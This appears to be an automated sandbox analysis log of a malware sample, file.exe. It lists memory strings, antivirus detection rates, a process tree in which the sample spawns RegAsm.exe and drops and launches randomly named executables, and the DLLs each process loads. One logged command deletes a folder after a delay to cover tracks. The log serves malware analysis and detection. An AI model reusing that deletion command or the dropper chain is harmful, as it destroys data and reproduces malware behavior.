Source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 49%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IDGDAAKFHI.exe "C:\ProgramData\IDGDAAKFHI.exe"
Source: C:\ProgramData\IDGDAAKFHI.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IDGDAAKFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIECGCBK.exe "C:\ProgramData\DGHIECGCBK.exe"
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECFIDGCBF.exe "C:\ProgramData\KECFIDGCBF.exe"
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FBFIDBFHDBGI" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGDBKKFHIE.exe "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Users\userBGDBKKFHIE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAEBGCFIEH.exe "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Users\userBAEBGCFIEH.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userBGDBKKFHIE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userBAEBGCFIEH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IDGDAAKFHI.exe "C:\ProgramData\IDGDAAKFHI.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIECGCBK.exe "C:\ProgramData\DGHIECGCBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECFIDGCBF.exe "C:\ProgramData\KECFIDGCBF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FBFIDBFHDBGI" & exit	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGDBKKFHIE.exe "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Users\userBGDBKKFHIE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAEBGCFIEH.exe "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Users\userBAEBGCFIEH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
